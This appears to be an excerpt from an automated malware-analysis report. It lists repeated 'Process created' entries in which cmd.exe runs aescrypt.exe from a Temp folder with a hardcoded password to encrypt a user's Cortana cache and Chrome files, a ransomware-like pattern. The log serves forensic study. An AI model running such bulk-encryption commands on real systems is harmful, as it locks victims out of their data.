Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'	Jump to behavior
